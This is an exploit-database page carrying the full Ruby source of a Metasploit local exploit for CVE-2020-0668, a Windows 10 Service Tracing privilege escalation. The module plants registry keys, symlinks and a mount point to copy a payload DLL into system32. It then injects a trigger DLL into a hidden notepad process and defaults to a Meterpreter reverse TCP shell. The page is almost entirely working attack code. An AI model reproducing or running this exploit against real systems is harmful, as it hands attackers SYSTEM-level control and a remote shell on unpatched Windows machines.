Lucene search
K

Service Tracing Privilege Escalation Exploit

🗓️ 09 May 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 68 Views

Service Tracing Privilege Escalation Vulnerability in Windows 10 x6

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/filesystem'
require 'msf/core/exploit/file_dropper'
require 'msf/core/post/file'


class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
                      'Name'           => 'Service Tracing Privilege Elevation Vulnerability',
                      'Description'    => %q(This module leverages a
                                             trusted file overwrite with
                                             a dll hijacking
                                             vulnerability to gain
                                             SYSTEM-level access on
                                             vulnerable Windows 10 x64
                                             targets),
                      'License'        => MSF_LICENSE,
                      'Author'         =>
                        [
                          'itm4n', # PoC
                          'bwatters-r7' # msf module
                        ],
                      'Platform'       => ['win'],
                      'SessionTypes'   => ['meterpreter'],
                      'Targets'        =>
                        [
                          ['Windows x64', { 'Arch' => ARCH_X64 }]
                        ],
                      'DefaultTarget'  => 0,
                      'DisclosureDate' => 'Feb 11 2020',
                      'References'     =>
                        [
                          ['CVE', '2020-0668'],
                          ['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
                          ['URL', 'https://github.com/itm4n/SysTracingPoc'],
                          ['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
                          ['PACKETSTORM', '156576'],
                          ['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
                          ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
                        ],
                      'Notes' =>
                        {
                          'SideEffects' => [ ARTIFACTS_ON_DISK ]
                        },
                      'DefaultOptions' =>
                        {
                          'DisablePayloadHandler' => false,
                          'EXITFUNC' => 'thread',
                          'Payload' => 'windows/x64/meterpreter/reverse_tcp',
                          'WfsDelay' => 900
                        }))

    register_options([
                       OptString.new('EXPLOIT_DIR',
                                     [false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
                       OptBool.new('OVERWRITE_DLL',
                                   [true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
                       OptString.new('PAYLOAD_UPLOAD_NAME',
                                     [false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
                       OptString.new('PHONEBOOK_UPLOAD_NAME',
                                     [false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
                     ])
    # stores open handles to cleanup properly
  end

  def write_reg_value(registry_hash)
    vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
    begin
      if !registry_key_exist?(registry_hash[:key_name])
        registry_createkey(registry_hash[:key_name])
        registry_hash[:delete_on_cleanup] = true
      else
        registry_hash[:delete_on_cleanup] = false
      end
      registry_setvaldata(registry_hash[:key_name].strip, \
                          registry_hash[:value_name].strip, \
                          registry_hash[:value_value], \
                          registry_hash[:value_type])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
  end

  def remove_reg_value(registry_hash)
    # we may have already deleted the key
    return unless registry_key_exist?(registry_hash[:key_name])

    begin
      if registry_hash[:delete_on_cleanup]
        vprint_status("Deleting #{registry_hash[:key_name]} key")
        registry_deletekey(registry_hash[:key_name])
      else
        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_bad("Unable to clean up registry")
      print_error(e.to_s)
    end
  end

  def create_reg_hash(new_size, exploit_dir)
    reg_keys = []
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
                  value_name: "EnableFileTracing",
                  value_type: "REG_DWORD",
                  value_value: 1,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
                  value_name: "FileDirectory",
                  value_type: "REG_EXPAND_SZ",
                  value_value: exploit_dir,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
                  value_name: "MaxFileSize",
                  value_type: "REG_DWORD",
                  value_value: new_size,
                  delete_on_cleanup: false)
    reg_keys
  end

  def remove_file(file_pathname)
    vprint_status("Deleting #{file_pathname}")
    begin
      session.fs.file.rm(file_pathname)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Manual cleanup of \"#{file_pathname}\" required!")
    end
  end

  def cleanup_mountpoint(dir)
    print_status("Delete mountpoint #{dir}")
    unless delete_mount_point(dir)
      print_error("Error when deleting the mount point.")
    end
    begin
      session.fs.dir.rmdir(dir)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Error when deleting \"#{dir}\".")
    end
  end

  def setup_process
    begin
      print_status('Launching notepad to host the exploit...')
      notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Sandboxes could not allow to create a new process
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    process
  end

  def inject_magic(process)
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
    library_path = ::File.expand_path(library_path)

    print_status("Reflectively injecting the trigger DLL into #{process.pid}...")
    dll = ''
    ::File.open(library_path, 'rb') { |f| dll = f.read }
    exploit_mem, offset = inject_dll_data_into_process(process, dll)
    vprint_status("Trigger injected.")
    payload_mem = inject_into_process(process, payload.encoded)
    print_status('Trigger injected. Starting thread...')
    process.thread.create(exploit_mem + offset, payload_mem)
  end

  def launch_dll_trigger
    begin
      print_status('Trying to start notepad')
      process = setup_process
      inject_magic(process)
      print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error(e.message)
    end
  end

  def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
    handles = []
    reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)
    vprint_status("Registry hash = #{reg_hash}")

    # set up directories and mountpoints
    vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")
    mkdir(exploit_dir)
    vprint_status("Made #{exploit_dir}")
    register_file_for_cleanup(upload_payload_pathname)
    mount_dir = '\\RPC Control\\'

    # Create mountpoint
    print_status("Creating mountpoint")
    unless create_mount_point(exploit_dir, mount_dir)
      fail_with(Failure::Unknown, "Error when creating the mount point... aborting.")
    end

    # Upload payload
    print_status("Uploading payload to #{upload_payload_pathname}")
    write_file(upload_payload_pathname, file_contents)
    register_file_for_cleanup(upload_payload_pathname)
    upload_md5 = session.fs.file.md5(upload_payload_pathname)
    vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")

    # Create Symlinks
    print_status("Creating Symlinks")
    vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
    symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.")
    end
    vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
    handles.push(symlink_handle['LinkHandle'])
    vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
    symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.")
    end
    vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
    handles.push(symlink_handle['LinkHandle'])

    # write registry keys
    reg_hash.each do |entry|
      write_reg_value(entry)
    end

    # Upload phonebook file
    phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'
    upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name
    launch_rasdialer(upload_phonebook_pathname)
    register_file_for_cleanup(upload_phonebook_pathname)
    vprint_status("Checking on #{target_payload_pathname}")
    vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
    moved_md5 = session.fs.file.md5(target_payload_pathname)
    vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")

    # clean up after file move
    print_status("Cleaning up before triggering dll load...")
    print_status("Removing Registry keys")
    reg_hash.each do |entry|
      remove_reg_value(entry)
    end
    print_status("Removing Symlinks")
    handles.each do |handle|
      result = session.railgun.kernel32.CloseHandle(handle)
      vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
    end
    print_status("Removing Mountpoint")
    session.fs.dir.rmdir(exploit_dir)
    print_status("Removing directories")
    unless moved_md5 == upload_md5
      fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.")
    end
  end

  def exploit
    validate_target
    validate_active_host
    # dll should not already exist
    win_dir = session.sys.config.getenv('windir')
    target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
    if file?(target_payload_pathname)
      print_warning("#{target_payload_pathname} already exists")
      print_warning("If it is in use, the overwrite will fail")
      unless datastore['OVERWRITE_DLL']
        print_error("Change OVERWRITE_DLL option to true if you would like to proceed.")
        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
      end
    end

    # set up variables
    temp_dir = session.sys.config.getenv('TEMP')
    exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)
    upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"
    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")

    # start file copy
    rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)

    # launch trigger
    launch_dll_trigger
    print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
    print_status("Exploit complete.  It may take up to 10 minutes to get a session")
  end

  def validate_active_host
    begin
      print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def validate_target
    unless sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end

    if session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
    end

    sysinfo_value = sysinfo['OS']
    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
    vprint_status("Build Number = #{build_num}")
    unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)
      fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
    end
  end

  def launch_rasdialer(upload_phonebook_pathname)
    local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')
    ensure_clean_destination(upload_phonebook_pathname)
    vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
    begin
      upload_file(upload_phonebook_pathname, local_phonebook_path)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Failed to upload phonebook")
      return nil
    end
    print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")

    # Launch RASDIAL
    vprint_status("Launching Rasdialer")
    rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname
    print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
    output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
    vprint_status(output)
  end

  def ensure_clean_destination(path)
    return unless file?(path)

    print_status("#{path} already exists on the target. Deleting...")
    begin
      file_rm(path)
      print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error("Unable to delete #{path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation